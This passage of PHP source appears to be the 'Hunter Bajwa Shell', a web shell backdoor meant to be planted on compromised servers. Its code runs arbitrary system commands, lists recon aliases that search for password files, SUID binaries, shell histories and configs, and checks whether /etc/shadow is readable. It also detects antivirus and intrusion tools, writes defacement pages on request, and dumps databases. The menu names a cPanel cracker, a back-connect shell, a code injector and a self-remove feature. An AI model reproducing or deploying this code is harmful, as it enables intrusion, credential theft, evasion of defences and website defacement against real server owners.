87 document.oncontextmenu = ejs_nodroit;
88 </script>
89 </head>
90
91 <body class="body">
92 <div class="font">
93 <font></font><br>
94 </div>
95 <div class="upass">
96 <form method=post>
97 <input class="input" type="password" name="pass" size="25"/>
98 </form>
99 </div>
100 </body>
101</html>');
102}
103
104if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
105 if( empty( $auth_pass ) ||
106 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
107 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
108 else
109 HunterBajwalogin();
110
111if( strtolower( substr(PHP_OS,0,3) ) == "win" )
112 $os = 'win';
113else
114 $os = 'nix';
115$safe_mode = @ini_get('safe_mode');
116$disable_functions = @ini_get('disable_functions');
117$home_cwd = @getcwd();
118if( isset( $_POST['c'] ) )
119 @chdir($_POST['c']);
120$cwd = @getcwd();
121if( $os == 'win') {
122 $home_cwd = str_replace("\\", "/", $home_cwd);
123 $cwd = str_replace("\\", "/", $cwd);
124}
125if( $cwd[strlen($cwd)-1] != '/' )
126 $cwd .= '/';
127
128if($os == 'win') {
129 $aliases = array(
130 "List Directory" => "dir",
131 "Find index.php in current dir" => "dir /s /w /b index.php",
132 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
133 "Show active connections" => "netstat -an",
134 "Show running services" => "net start",
135 "User accounts" => "net user",
136 "Show computers" => "net view",
137 "ARP Table" => "arp -a",
138 "IP Configuration" => "ipconfig /all"
139 );
140} else {
141 $aliases = array(
142 "List dir" => "ls -la",
143 "list file attributes on a Linux second extended file system" => "lsattr -va",
144 "show opened ports" => "netstat -an | grep -i listen",
145 "Find" => "",
146 "find all suid files" => "find / -type f -perm -04000 -ls",
147 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
148 "find all sgid files" => "find / -type f -perm -02000 -ls",
149 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
150 "find config.inc.php files" => "find / -type f -name config.inc.php",
151 "find config* files" => "find / -type f -name \"config*\"",
152 "find config* files in current dir" => "find . -type f -name \"config*\"",
153 "find all writable folders and files" => "find / -perm -2 -ls",
154 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
155 "find all service.pwd files" => "find / -type f -name service.pwd",
156 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
157 "find all .htpasswd files" => "find / -type f -name .htpasswd",
158 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
159 "find all .bash_history files" => "find / -type f -name .bash_history",
160 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
161 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
162 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
163 "Locate" => "",
164 "locate httpd.conf files" => "locate httpd.conf",
165 "locate vhosts.conf files" => "locate vhosts.conf",
166 "locate proftpd.conf files" => "locate proftpd.conf",
167 "locate psybnc.conf files" => "locate psybnc.conf",
168 "locate my.conf files" => "locate my.conf",
169 "locate admin.php files" =>"locate admin.php",
170 "locate cfg.php files" => "locate cfg.php",
171 "locate conf.php files" => "locate conf.php",
172 "locate config.dat files" => "locate config.dat",
173 "locate config.php files" => "locate config.php",
174 "locate config.inc files" => "locate config.inc",
175 "locate config.inc.php" => "locate config.inc.php",
176 "locate config.default.php files" => "locate config.default.php",
177 "locate config* files " => "locate config",
178 "locate .conf files"=>"locate '.conf'",
179 "locate .pwd files" => "locate '.pwd'",
180 "locate .sql files" => "locate '.sql'",
181 "locate .htpasswd files" => "locate '.htpasswd'",
182 "locate .bash_history files" => "locate '.bash_history'",
183 "locate .mysql_history files" => "locate '.mysql_history'",
184 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
185 "locate backup files" => "locate backup",
186 "locate dump files" => "locate dump",
187 "locate priv files" => "locate priv"
188 );
189}
190 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
191 $def = base64_decode($deface);
192 file_put_contents($_POST['c'].$_POST['p2'],$def);
193 }
194function ex($in) {
195 $out = '';
196 if(function_exists('exec')) {
197 @exec($in,$out);
198 $out = @join("\n",$out);
199 }elseif(function_exists('passthru')) {
200 ob_start();
201 @passthru($in);
202 $out = ob_get_clean();
203 }elseif(function_exists('system')) {
204 ob_start();
205 @system($in);
206 $out = ob_get_clean();
207 }elseif(function_exists('shell_exec')) {
208 $out = shell_exec($in);
209 }elseif(is_resource($f = @popen($in,"r"))) {
210 $out = "";
211 while(!@feof($f))
212 $out .= fread($f,1024);
213 pclose($f);
214 }
215 return $out;
216}
217
218function which($p) {
219 $path = ex('which '.$p);
220 if(!empty($path))
221 return $path;
222 return false;
223}
224
225function printHeader() {
226 if(empty($_POST['charset']))
227 $_POST['charset'] = "UTF-8";
228 global $color;
229 global $Theme;
230 global $TabsColor;
231 echo "<html><head><link href='http://i.imgur.com/vRlLG1T.jpg' rel='Shortcut Icon' /><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
232 echo '<html>
233<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Hunter Bajwa Shell</title>
234<style>
235 body {background-color:black;color:#fff;}
236 body,td,th { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
237 span,h1,a { color:'.$color.' !important; }
238 span { font-weight: bolder; }
239 h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
240 div.content { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
241 a { text-decoration:none; }
242 a:hover { border-bottom:0px solid #5e5e5e;text-decoration:none; }
243 a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
244 .ml1 { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
245 .bigarea { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
246 input, textarea, select { margin-top:0;color:#ABEFFF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
247 input[type="button"]:hover,input[type="submit"]:hover {background-color:#ABEFFF;color:black;text-decoration:none;}
248 form { margin:0px; background:#0F1010;}
249 #toolsTbl { text-align:center; }
250 .toolsInp { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
251 .main th {text-align:left;background-color:'.$TabsColor.';}
252 .main tr:hover{background:#000000; border:5px solid;border-color:#000000;}
253 .main td, th{vertical-align:middle;}
254 .menu { height:30px; border-radius:10px;}
255 .menu th{padding:1px;border-radius: 5px; background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
256 -moz-transform: rotate(20deg);
257 -o-transform: rotate(20deg);
258 -ms-transform: rotate(20deg);
259 transform: rotate(20deg);}
260 .menu th:hover{background:#0F1010;text-decoration: none;}
261 pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
262 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
263
264
265 .cpr {margin-bottom:5px;font-weight:bold; }
266 .cpb {width:34px;margin:0 5px;}
267
268 .npoad td {padding:0;}
269 #Smevktools{
270 margin-top:50px;
271 width:500px;
272 border:1px solid;
273 border-radius:10px;
274 }
275 .smevklogo td{
276 font-size:12px;
277 font-weight:bold;
278
279
280
281 }
282 .smevklogo{
283 margin-left:5px;
284 background:url();
285 background-repeat: no-repeat;
286 background-position: CENTER;
287 background-color:#0F1010;
288 background-size: 400px 120px;
289
290
291
292 }
293 </style>
294
295</html>
296<style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
297 <script>
298 function set(a,c,p1,p2,p3,charset) {
299 if(a != null)document.mf.a.value=a;
300 if(c != null)document.mf.c.value=c;
301 if(p1 != null)document.mf.p1.value=p1;
302 if(p2 != null)document.mf.p2.value=p2;
303 if(p3 != null)document.mf.p3.value=p3;
304 if(charset != null)document.mf.charset.value=charset;
305 }
306 function g(a,c,p1,p2,p3,charset) {
307 set(a,c,p1,p2,p3,charset);
308 document.mf.submit();
309 }
310 function a(a,c,p1,p2,p3,charset) {
311 set(a,c,p1,p2,p3,charset);
312 var params = "ajax=true";
313 for(i=0;i<document.mf.elements.length;i++)
314 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
315 sr("'.$_SERVER['REQUEST_URI'].'", params);
316 }
317 function sr(url, params) {
318 if (window.XMLHttpRequest) {
319 req = new XMLHttpRequest();
320 req.onreadystatechange = processReqChange;
321 req.open("POST", url, true);
322 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
323 req.send(params);
324 }
325 else if (window.ActiveXObject) {
326 req = new ActiveXObject("Microsoft.XMLHTTP");
327 if (req) {
328 req.onreadystatechange = processReqChange;
329 req.open("POST", url, true);
330 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
331 req.send(params);
332 }
333 }
334 }
335 function processReqChange() {
336 if( (req.readyState == 4) )
337 if(req.status == 200) {
338 //alert(req.responseText);
339 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
340 var arr=reg.exec(req.responseText);
341 eval(arr[2].substr(0, arr[1]));
342 }
343 else alert("Request error!");
344 }
345 </script>
346 <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
347 <form method=post name=mf style="display:none;">
348 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
349 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
350 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
351 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
352 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
353 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
354 </form>';
355 $freeSpace = @diskfreespace($GLOBALS['cwd']);
356 $totalSpace = @disk_total_space($GLOBALS['cwd']);
357 $totalSpace = $totalSpace?$totalSpace:1;
358 $disable_functions = @ini_get('disable_functions');
359 $release = @php_uname('r');
360 $kernel = @php_uname('s');
361 if(!function_exists('posix_getegid')) {
362 $user = @get_current_user();
363 $uid = @getmyuid();
364 $gid = @getmygid();
365 $group = "?";
366 } else {
367 $uid = @posix_getpwuid(@posix_geteuid());
368 $gid = @posix_getgrgid(@posix_getegid());
369 $user = $uid['name'];
370 $uid = $uid['uid'];
371 $group = $gid['name'];
372 $gid = $gid['gid'];
373 }
374 $cwd_links = '';
375 $path = explode("/", $GLOBALS['cwd']);
376 $n=count($path);
377 for($i=0;$i<$n-1;$i++) {
378 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
379 for($j=0;$j<=$i;$j++)
380 $cwd_links .= $path[$j].'/';
381 $cwd_links .= "\")'>".$path[$i]."/</a>";
382 }
383 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
384 $opt_charsets = '';
385 foreach($charsets as $item)
386 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
387 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Sql'=>'Sql','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','CgiShell'=>'CgiShell','Defacer' => 'Deface','Mini Shell'=>'cleanshell','CP Cracker'=>'cpcrack','Symlink'=>'usescript','Config'=>'configgrab','Zone-h Notifier'=>'usefulla','Backup'=>'Backupper','String tools'=>'StringTools','Shells'=>'ImportScripts','Scripts'=>'ImportTools','Back Connecter'=>'BackConnect','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Code Injector'=>'Injector','Dir Deface'=>'DirDefacer','Domains' => 'Domain','Self Remove' => 'SelfRemove');
388 if(!empty($GLOBALS['auth_pass']))
389 $m['Leave'] = 'Logout';
390 $menu = '';
391 foreach($m as $k => $v)
392 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
393 $drives = "";
394 if ($GLOBALS['os'] == 'win') {
395 foreach( range('a','z') as $drive ){
396 if (is_dir($drive.':\\'))
397 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
398 }
399 $drives .= '<br />: ';
400 }
401 if($GLOBALS['os'] == 'nix') {
402 $dominios = @file_get_contents("/etc/named.conf");
403 if(!$dominios) {
404 $DomainS = "/var/named";
405 $Domainonserver = scandir($DomainS);
406 $d0c = count($Domainonserver);
407 } else {
408 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
409 $out = sizeof(array_unique($out[1]));
410 $d0c = $out." Domains";
411 }
412 } else {
413 $d0c = "1";
414 }
415 if($GLOBALS['os'] == 'nix' )
416 {
417 $usefl = ''; $dwnldr = '';
418 if(!@ini_get('safe_mode')) {
419 $temp = array();
420 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
421 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
422 $usefl = implode(', ',$temp);
423 $temp = array();
424 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
425 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
426 $dwnldr = implode(', ',$temp);
427 } else {
428 $usefl = ' ------- '; $dwnldr = ' ------- ';
429 }
430 } else {
431 $usefl = ' ------- '; $dwnldr = ' ------- ';
432 }
433 echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
434 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
435 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
436 '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
437 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
438 '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
439}
440function printFooter() {
441 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=".$color.">[ Writeable ]</font>":"<font color=#EB4949>[ Not writable ]</font>";
442
443echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
444<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
445 <tr>
446 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
447 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
448 </tr>
449 <tr>
450 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
451 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
452 </tr>
453 <tr>
454 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
455 <td><form method="post" ENCTYPE="multipart/form-data">
456 <input type=hidden name=a value="FilesMAn">
457 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
458 <input type=hidden name=p1 value="uploadFile">
459 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
460 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
461 </tr>
462</table></div></div>
463<div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:500;">Real Shell By Hunter Bajwa</a></div></div>
464</div></div>
465
466</body></html>';
467}
468
469if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
470if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
471
472
473function viewSize($s) {
474 if($s >= 1073741824)
475 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
476 elseif($s >= 1048576)
477 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
478 elseif($s >= 1024)
479 return sprintf('%1.2f', $s / 1024 ) . ' KB';
480 else
481 return $s . ' B';
482}
483
484function perms($p) {
485 if (($p & 0xC000) == 0xC000)$i = 's';
486 elseif (($p & 0xA000) == 0xA000)$i = 'l';
487 elseif (($p & 0x8000) == 0x8000)$i = '-';
488 elseif (($p & 0x6000) == 0x6000)$i = 'b';
489 elseif (($p & 0x4000) == 0x4000)$i = 'd';
490 elseif (($p & 0x2000) == 0x2000)$i = 'c';
491 elseif (($p & 0x1000) == 0x1000)$i = 'p';
492 else $i = 'u';
493 $i .= (($p & 0x0100) ? 'r' : '-');
494 $i .= (($p & 0x0080) ? 'w' : '-');
495 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
496 $i .= (($p & 0x0020) ? 'r' : '-');
497 $i .= (($p & 0x0010) ? 'w' : '-');
498 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
499 $i .= (($p & 0x0004) ? 'r' : '-');
500 $i .= (($p & 0x0002) ? 'w' : '-');
501 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
502 return $i;
503}
504
505function viewPermsColor($f) {
506 if (!@is_readable($f))
507 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
508 elseif (!@is_writable($f))
509 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
510 else
511 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
512}
513
514if(!function_exists("scandir")) {
515 function scandir($dir) {
516 $dh = opendir($dir);
517 while (false !== ($filename = readdir($dh))) {
518 $files[] = $filename;
519 }
520 return $files;
521 }
522}
523
524function actionSecInfo() {
525 printHeader();
526 echo '<h1>Server security information</h1><div class=content>';
527 function showSecParam($n, $v) {
528 $v = trim($v);
529 if($v) {
530 echo '<span>'.$n.': </span>';
531 if(strpos($v, "\n") === false)
532 echo $v.'<br>';
533 else
534 echo '<pre class=ml1>'.$v.'</pre>';
535 }
536 }
537
538 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
539 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
540 showSecParam('Open base dir', @ini_get('open_basedir'));
541 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
542 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
543 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
544 $temp=array();
545 if(function_exists('mysql_get_client_info'))
546 $temp[] = "MySql (".mysql_get_client_info().")";
547 if(function_exists('mssql_connect'))
548 $temp[] = "MSSQL";
549 if(function_exists('pg_connect'))
550 $temp[] = "PostgreSQL";
551 if(function_exists('oci_connect'))
552 $temp[] = "Oracle";
553 showSecParam('Supported databases', implode(', ', $temp));
554 echo '<br>';
555
556 if( $GLOBALS['os'] == 'nix' ) {
557 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
558 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
559 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
560 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
561 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
562 showSecParam('OS version', @file_get_contents('/proc/version'));
563 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
564 if(!$GLOBALS['safe_mode']) {
565 echo '<br>';
566 $temp=array();
567 foreach ($userful as $item)
568 if(which($item)){$temp[]=$item;}
569 showSecParam('Userful', implode(', ',$temp));
570 $temp=array();
571 foreach ($danger as $item)
572 if(which($item)){$temp[]=$item;}
573 showSecParam('Danger', implode(', ',$temp));
574 $temp=array();
575 foreach ($downloaders as $item)
576 if(which($item)){$temp[]=$item;}
577 showSecParam('Downloaders', implode(', ',$temp));
578 echo '<br/>';
579 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
580 showSecParam('HDD space', ex('df -h'));
581 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
582 }
583 } else {
584 showSecParam('OS Version',ex('ver'));
585 showSecParam('Account Settings',ex('net accounts'));
586 showSecParam('User Accounts',ex('net user'));
587 }
588 echo '</div>';
589 printFooter();
590}
591
592
593function actionSql() {
594 class DbClass {
595 var $type;
596 var $link;
597 var $res;
598 function DbClass($type) {
599 $this->type = $type;
600 }
601 function connect($host, $user, $pass, $dbname){
602 switch($this->type) {
603 case 'mysql':
604 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
605 break;
606 case 'pgsql':
607 $host = explode(':', $host);
608 if(!$host[1]) $host[1]=5432;
609 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
610 break;
611 }
612 return false;
613 }
614 function selectdb($db) {
615 switch($this->type) {
616 case 'mysql':
617 if (@mysql_select_db($db))return true;
618 break;
619 }
620 return false;
621 }
622 function query($str) {
623 switch($this->type) {
624 case 'mysql':
625 return $this->res = @mysql_query($str);
626 break;
627 case 'pgsql':
628 return $this->res = @pg_query($this->link,$str);
629 break;
630 }
631 return false;
632 }
633 function fetch() {
634 $res = func_num_args()?func_get_arg(0):$this->res;
635 switch($this->type) {
636 case 'mysql':
637 return @mysql_fetch_assoc($res);
638 break;
639 case 'pgsql':
640 return @pg_fetch_assoc($res);
641 break;
642 }
643 return false;
644 }
645 function listDbs() {
646 switch($this->type) {
647 case 'mysql':
648 return $this->res = @mysql_list_dbs($this->link);
649 break;
650 case 'pgsql':
651 return $this->res = $this->query("SELECT datname FROM pg_database");
652 break;
653 }
654 return false;
655 }
656 function listTables() {
657 switch($this->type) {
658 case 'mysql':
659 return $this->res = $this->query('SHOW TABLES');
660 break;
661 case 'pgsql':
662 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
663 break;
664 }
665 return false;
666 }
667 function error() {
668 switch($this->type) {
669 case 'mysql':
670 return @mysql_error($this->link);
671 break;
672 case 'pgsql':
673 return @pg_last_error($this->link);
674 break;
675 }
676 return false;
677 }
678 function setCharset($str) {
679 switch($this->type) {
680 case 'mysql':
681 if(function_exists('mysql_set_charset'))
682 return @mysql_set_charset($str, $this->link);
683 else
684 $this->query('SET CHARSET '.$str);
685 break;
686 case 'mysql':
687 return @pg_set_client_encoding($this->link, $str);
688 break;
689 }
690 return false;
691 }
692 function dump($table) {
693 switch($this->type) {
694 case 'mysql':
695 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
696 $create = mysql_fetch_array($res);
697 echo $create[1].";\n\n";
698 $this->query('SELECT * FROM `'.$table.'`');
699 while($item = $this->fetch()) {
700 $columns = array();
701 foreach($item as $k=>$v) {
702 $item[$k] = "'".@mysql_real_escape_string($v)."'";
703 $columns[] = "`".$k."`";
704 }
705 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
706 }
707 break;
708 case 'pgsql':
709 $this->query('SELECT * FROM '.$table);
710 while($item = $this->fetch()) {
711 $columns = array();
712 foreach($item as $k=>$v) {
713 $item[$k] = "'".addslashes($v)."'";
714 $columns[] = $k;
715 }
716 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
717 }
718 break;
719 }
720 return false;
721 }
722 };
723 $db = new DbClass(@$_POST['type']);
724 if(@$_POST['p2']=='download') {
725 ob_start("ob_gzhandler", 4096);
726 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
727 $db->selectdb($_POST['sql_base']);
728 header("Content-Disposition: attachment; filename=dump.sql");
729 header("Content-Type: text/plain");
730 foreach($_POST['tbl'] as $v)
731 $db->dump($v);
732 exit;
733 }
734 printHeader();
735 echo '<h1>Sql browser</h1><div class=content>
736 <form name="sf" method="post">
737 <table cellpadding="2" cellspacing="0">
738 <tr>
739 <td>Type</td>
740 <td>Host</td>
741 <td>Login</td>
742 <td>Password</td>
743 <td>Database</td>
744 <td></td>
745 </tr>
746 <tr>
747 <input type=hidden name=a value=Sql>
748 <input type=hidden name=p1 value=\'query\'>
749 <input type=hidden name=p2>
750 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
751 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
752 <td>
753 <select name=\'type\'>
754 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
755 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
756 </select></td>
757 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
758 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
759 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
760 <td>';
761 $tmp = "<input type=text name=sql_base value=''>";
762 if(isset($_POST['sql_host'])){
763 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
764 switch($_POST['charset']) {
765 case "Windows-1251": $db->setCharset('cp1251'); break;
766 case "UTF-8": $db->setCharset('utf8'); break;
767 case "KOI8-R": $db->setCharset('koi8r'); break;
768 case "KOI8-U": $db->setCharset('koi8u'); break;
769 case "cp866": $db->setCharset('cp866'); break;
770 }
771 $db->listDbs();
772 echo "<select name=sql_base><option value=''></option>";
773 while($item = $db->fetch()) {
774 list($key, $value) = each($item);
775 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
776 }
777 echo '</select>';
778 }
779 else echo $tmp;
780 }else
781 echo $tmp;
782 echo '</td>
783 <td><input type=submit value=">>"></td>
784 </tr>
785 </table>
786 <script>
787 function st(t,l) {
788 document.sf.p1.value = \'select\';
789 document.sf.p2.value = t;
790 if(l!=null)document.sf.p3.value = l;
791 document.sf.submit();
792 }
793 function is() {
794 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
795 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
796 }
797 </script>';
798 if(isset($db) && $db->link){
799 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
800 if(!empty($_POST['sql_base'])){
801 $db->selectdb($_POST['sql_base']);
